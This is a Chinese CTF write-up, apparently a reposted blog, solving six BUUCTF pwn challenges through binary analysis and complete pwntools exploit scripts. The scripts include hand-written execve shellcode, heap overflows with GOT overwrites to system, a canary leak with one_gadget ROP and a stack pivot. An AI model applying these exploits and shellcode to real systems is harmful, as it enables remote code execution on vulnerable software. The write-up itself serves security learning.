buuctf (pwnable_start)(babyfengshui_33c3_2016)(gyctf_2020_borrowstack)(ciscn_2019)(hitcontraining_h)

pwnable_start

趁这个题,再多学一点汇编知识
程序主要逻辑为此

在这里插入图片描述

在这里插入图片描述汇编指令XOR
XOR指令在两个操作数的对应位之间进行(按位)逻辑异或(XOR)操作,并将结果存在目标操作数中

XOR destination,source

XOR指令操作数组合和大小于AND指令以及OR指令相同。两个操作数的每一对对应位都应用如下操作原则:如果两个位值相同(同为0或同为1),则结果位等于0;否则结果位等于1。下标描述的是布尔运算x⊕y:
在这里插入图片描述 与0异或值不变,与1异或则被触发(求补)。对相同操作数进行两次XOR运算,则结果逆转为其本身。如下表所示,位X与位Y进行了两次异或,结果逆转位X的初始值:
在这里插入图片描述
标志位:
XOR运算符总是清除溢出和进位标志位,并根据目标操作数的值来修改符号标志位、零标志位和奇偶标志位。

检查奇偶标志:
奇偶检查是在一个二进制数上实现的功能,计算该数中1的个数;如果计算结果为偶数,则说该数是偶校验;如果结果为奇数,则该数为偶校验。x86处理器中,当按位操作或算术操作的目标操作数最低字节为偶校验时,奇偶标志位清0.一个既能检察数的奇偶性,又不会修改其数值的有效方法是,将该数与0进行异或运算:

mov al,10110101b ;5个1,奇校验
xor al,0 ;奇偶标志位清0(奇)
mov al,11001100b;4个1,偶校验
xor al,0; 奇偶标志位置1 (偶)

这里的xor指令应该就是清除寄存器内容

mov赋值,push压栈,pop出栈,add相加,int 0x80系统调用。

然后读一下题中的汇编代码:
push esp
push offset _exit
将esp和exit的函数地址压入栈中,
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
将四个寄存器的内容清空
push 3A465443h
push 20656874h
push 20747261h
push 74732073h
push 2774654Ch
压入一些数据
在这里插入图片描述这里al,bl,dl不知道具体是什么意思,搜的说的是
AL:AX寄存器的低字节(16位寄存器);
BL:低字节的的BX寄存器(16个寄存器);
不太清楚和寄存器有啥关系
查询一下网站
在这里插入图片描述猜测应该是eax,ebx,edx,查表之后应该就是
设置write函数的参数应该就是 write(1,esp,0x14)
在这里插入图片描述
这里第一行是清空ebx寄存器的内容
然后edx,eax分别设置为,0x3c,以及3
eax为3查表之后应该是read函数
即read(0,esp,0x3c)
然后运行一下:
在这里插入图片描述那前面压入的一些数据,应该就是这些字符了
紧接着就是输入0x3c大小的内容
让程序在输入的地方停一下,看一下能否溢出修改返回地址
在这里插入图片描述

计算一下,发现是能够溢出修改返回地址的偏移为20,并且执行过后,会add esp, 14h,所以看一下这个时候esp内容是啥
在这里插入图片描述
发现是一个栈地址,打印出来之后,就能计算栈地址的偏移。
那思路就有了,通过将地址修改为write设置参数的地址上,再执行一次write函数,write就会把esp的内容打印出来,泄露出栈地址后,再写一段shellcode(字节大小要小于0x24),并且控制返回地址返回到我们写入的shellcode
由于pwntools生成的shellcode字节比较大,大于0x24,所以这里自己写一段shellcode
execve
总脚本如下:

from pwn import *
context(os='linux',arch='i386',log_level='debug')
#p=remote("node4.buuoj.cn",29956)
p=process("./pwn27")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#elf=ELF("pwn11")
def bug():
	gdb.attach(p)
	pause()
print(len(asm(shellcraft.sh())))
p.recvuntil("Let's start the CTF:")
pay=b'a'*20+p32(0x8048087)
bug()
p.send(pay)
stack=u32(p.recv(4))-4
print(hex(stack))

shellcode1=asm("""xor ecx,ecx;
xor edx,edx ; 
push edx;
push 0x68732f6e;
push 0x69622f2f;
mov ebx,esp;
mov eax,0xb;
int 0x80 """) 
print(len(shellcode1))
pay = b'a'*20+p32(stack+24)+shellcode1
p.send(pay)

p.interactive()

shellcode要控制好每个寄存器的内容

babyfengshui_33c3_2016

在这里插入图片描述
在这里插入图片描述
是个堆题,开始代码审计
找一下漏洞
首先第一个
0.add
在这里插入图片描述
这里是输入大小
在这里插入图片描述然后根据大小申请一个堆块,又申请一个固定大小的堆块0x80
也就是函数进行了两次堆的申请,并且把第一次申请的堆的地址赋值到第二次申请的堆的数据之中,由此可以判断出此函数利用了一个结构体,而第二次申请的堆的大小是固定的,可以得到结构体的数据结构:

struct Node{
    
    
	char * description;
	char name[0x7C];
}

sub_8048724
在这里插入图片描述
这里是再次输入堆块大小,但是这里有个验证

在这里插入图片描述
这个验证的意思就是description堆块的起始地址+输入的v3之和,比name的起始地址之间的长度。
这个地方是有漏洞的,那就是这两个堆块的中间如果有其他堆块,这样就能溢出了
1.delete
在这里插入图片描述
free之后指针被置零了,所以不存在uaf

2.dump
把结构体的内容都打印出来
在这里插入图片描述

3.edit
add里也调用了这个函数,因此可通过这个函数造成堆溢出
在这里插入图片描述

4.exit

总体分析下来,可以让两个堆块之间隔着其他堆块,造成堆溢出,具体利用思路就是:
连续申请小堆块,然后释放,再申请大堆块,就能绕过检测,然后再把name里的堆块指针修改为free的got表地址,dump出来泄露libc然后找到system函数,把free的got表修改为system函数的地址,以此getshell

exp如下:

from pwn import *
context(log_level='debug',os='linux',arch='i386')
#p=process("./pwn27")
p=remote("node4.buuoj.cn",26132)
elf=ELF("./pwn27")
libc=ELF("./libc-2.23.so")
def bug():
	gdb.attach(p)
	pause()
def add(size,size1,c):
	p.recvuntil("Action: ")
	p.sendline(str(0))
	p.sendlineafter(b"size of description: ",str(size))
	p.sendlineafter("name: ",b'aaaa')
	p.sendlineafter("text length: ",str(size1))
	p.sendlineafter("text: ",c)
def free(i):
	p.recvuntil("Action: ")
	p.sendline(str(1))
	p.sendlineafter(b"index: ",str(i))
def dump(i):
	p.recvuntil("Action: ")
	p.sendline(str(2))
	p.sendlineafter("index: ",str(i))
def edit(i,size1,c):
	p.recvuntil("Action: ")
	p.sendline(str(3))
	p.sendlineafter("index: ",str(i))
	p.sendlineafter("text length: ",str(size1))
	p.sendlineafter("text: ",c)

add(0x80,0x80,b'aaaa')
add(0x80,0x80,b'bbbb')
add(0x8,0x8,b'/bin/sh\x00')
free(0)
add(0x100,0x19c,b'a'*0x198+p32(elf.got['free']))
dump(1)
p.recvuntil("description: ")
free_addr=u32(p.recvuntil("\xf7")[-4:])
libc_base=free_addr-libc.sym['free']
print(hex(libc_base))
system=libc_base+libc.sym['system']

edit(1,4,p32(system))
free(2)

p.interactive()

其中偏移的计算可以是0x108+88+8=0x198
在这里插入图片描述

others_babystack

在这里插入图片描述
在这里插入图片描述
选一存在栈溢出,选二能打印输入的内容,选三就是返回程序
思路就是puts函数能泄露libc和canary,然后再布置rop,选3,即可getsehll
这里需要注意的是puts函数打印的规则,这里我在泄露canary的时候覆盖一个字节canary,这样就能通过puts函数泄露出来canary,同理泄露libc,这里我用的one_gadget在本地打通了
exp如下:

from pwn import *
from struct import pack
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#p=remote("node4.buuoj.cn",29714)
p=process("./pwn30")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF("./pwn30")
def bug():
	gdb.attach(p)
	pause()
shell=0x400E88
vuln=0x804847B
bss=0x804a028+0x100
pop=0x0000000000400a93
leave=0x0000000000400824
def ch(i):
	p.recvuntil(">> ")
	p.sendline(str(i))
ch(1)
pay=b'a'*(0x90-8-1)+b'b'*2
p.send(pay)
ch(2)
p.recvuntil(b'b')
can=u64(p.recv(8))-0x62
print(hex(can))
ch(1)
pay=b'a'*(0x98)+b'b'
p.send(pay)
ch(2)
start=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-147554
print(hex(start))
one_gad=start+0xe3b01
pop_rdx=start+0x0000000000142c92
ch(1)
pay=b'a'*0x88+p64(can)+p64(0)+p64(pop_rdx)+p64(0)+p64(one_gad)
bug()
p.send(pay)
ch(3)
p.interactive()


'''
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

'''

gyctf_2020_borrowstack

在这里插入图片描述

在这里插入图片描述
程序逻辑不难,第一次读入只能修改到返回地址,所以考虑栈迁移,第二次读入是读到bss段上了,栈迁移能直接打,用one_gadget,但是没找到前面没找到版本,所以用的system打的
但是在执行system函数的时候,一直显示栈空间有问题,所以选择抬高栈
脚本如下:

from pwn import *
from struct import pack
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
p=remote("node4.buuoj.cn",28393)
#p=process("./pwn31")
libc=ELF("./libc6_2.23-0ubuntu10_amd64.so")
elf=ELF("./pwn31")
def bug():
	gdb.attach(p)
	pause()
shell=0x400E88
vuln=0x804847B
bss=0x601080+0x90
pop=0x0000000000400703
leave=0x0000000000400699

p.recvuntil("Welcome to Stack bank,Tell me what you want\n")
pay=b'a'*0x60+p64(bss-8)+p64(leave)

p.send(pay)

p.recvuntil("Done!You can check and use your borrow stack now!\n")
pay=b'a'*0x90+p64(pop)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(0x0000000000400590)+p64(0x6011b0+0x60+0x600)+p64(0x400660) #这个里是pop_rbp,然后再返回到读入的地方,这样就能任意地点可写,以达到抬高栈的目的
p.send(pay)

read_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
libc_base=read_addr-libc.sym['read']
print(libc_base)
system=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search(b"/bin/sh\x00").__next__()


pause()
pay=(p64(pop)+p64(bin_sh)+p64(system)).ljust(0x60,b'\x00')+p64(0x6011b0-8+0x600)+p64(leave)
#bug()
p.send(pay)
pause()
p.sendline(b'a')
p.interactive()

ciscn_2019_n_3

在这里插入图片描述
分析程序
在这里插入图片描述发现是个堆题
开始分析代码
1.add
在这里插入图片描述

分析完以后,发现是先申请一个0xc大小的堆块,然后三个4字节大小的部分,可以选择两种存储类型,一个是选择存储数字,一个是选择存储字符。
存储数字的时候,三个4字节大小的部分分别是printf的地址(相当于dump)free堆块的操作地址,数据的存放地址
存储字符的时候,三个4字节大小的部分分别是printf的地址(相当于dump)free堆块的操作地址,存储字符的堆块的地址。
2.free
free数字
在这里插入图片描述
free字符
在这里插入图片描述
都未将指针置零,所以存在uaf

3.dump
dump数字
在这里插入图片描述
dump字符
在这里插入图片描述
由于程序中存在system函数,所以为了简便,不去泄露libc了。
那思路就是,先申请两个数字堆块,都释放,然后再申请一个0xc大小的字符堆块,这样就能得到数字堆块的三个4字节部分,采用第一部分填入sh(/bin/sh太大了)第二部分填入system的plt表,这样再去free第0块的时候就会getshell
脚本如下:

from pwn import *
context(log_level='debug',os='linux',arch='i386')
#p=process("./pwn27")
p=remote("node4.buuoj.cn",29053)
def bug():
	gdb.attach(p)
	pause()
def add1(index,integer):
	p.recvuntil("CNote > ")
	p.sendline("1")
	p.recvuntil("Index > ")
	p.sendline(str(index))
	p.recvuntil("Type > ")
	p.sendline("1")
	p.recvuntil("Value > ")
	p.sendline(str(integer))
def add2(index,size,content):
	p.recvuntil("CNote > ")
	p.sendline("1")
	p.recvuntil("Index > ")
	p.sendline(str(index))
	p.recvuntil("Type > ")
	p.sendline("2")
	p.recvuntil("Length > ")
	p.sendline(str(size))
	p.recvuntil("Value > ")
	p.sendline(content)
def show(index):
	p.recvuntil("CNote > ")
	p.sendline("3")
	p.recvuntil("Index > ")
	p.sendline(str(index))
def free(index):
	p.recvuntil("CNote > ")
	p.sendline("2")
	p.recvuntil("Index > ")
	p.sendline(str(index))

add1(0,1)
add1(1,1)
add1(2,1)
free(0)
free(1)
pay=b'sh\x00\x00'+p32(0x8048500)
add2(3,0xc,pay)
free(0)

p.interactive()

hitcontraining_heapcreator

在这里插入图片描述
在这里插入图片描述
应该就是堆题了
先代码审计
1.add
在这里插入图片描述
每次申请都会申请固定的0x10字节的堆块(实际是0x20大小的堆块)
该堆块里存放的是申请的堆块的大小,和申请堆块的context指针。

2.edit
在这里插入图片描述

可以发现多读入了一个字节,也就是存在off by one漏洞
3.dump
打印堆块的内容
在这里插入图片描述4.free
在这里插入图片描述

不存在uaf漏洞
这题的off by one漏洞思路
可以通过先申请几个小堆块chunnk0,1,2,3,再利用off by one漏洞用0修改1的大小,把2和一造成重叠,然后再申请回来,通过1把2的存储堆块指针的地方修改为free的got表地址,这样就能dump出来泄露libc,然后计算system,再修改free的got为system函数地址,然后free3就能getshell了
修改堆块的指针为free的got表时
在这里插入图片描述

exp如下:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=remote("node4.buuoj.cn",25748)
#p=process("./pwn32")
elf=ELF("./pwn32")
libc=ELF("./libc-2.23.so")

def bug():
	gdb.attach(p)
	pause()

def add(i,c):
	p.recvuntil("Your choice :")
	p.sendline(str(1))
	p.sendlineafter("Size of Heap : ",str(i))
	p.sendafter("Content of heap:",c)

def edit(idx,c):
	p.recvuntil("Your choice :")
	p.sendline(str(2))
	p.sendlineafter("Index :",str(idx))
	p.sendafter("Content of heap : ",c)

def free(i):
	p.recvuntil("Your choice :")
	p.sendline(str(4))
	p.sendlineafter("Index :",str(i))

def dump(i):
	p.recvuntil("Your choice :")
	p.sendline(str(3))
	p.sendlineafter("Index :",str(i))
	
add(0x18,b'a'*8) #index 0
add(0x18,b'a'*8) #index 1
add(0x18,b'a'*8) #index 2
add(0x58,b'/bin/sh\x00') #index 3
edit(0,p64(0)*3+p8(0x81))
free(1)
add(0x78,p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p64(0x18)+p64(elf.got['free']))
dump(2)
free_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
libc_base=free_addr-libc.sym['free']
system=libc_base+libc.sym['system']
print(hex(free_addr))
print(hex(libc_base))

edit(2,p64(system))
free(3)

p.interactive()

猜你喜欢

转载自blog.csdn.net/cainiao78777/article/details/130633537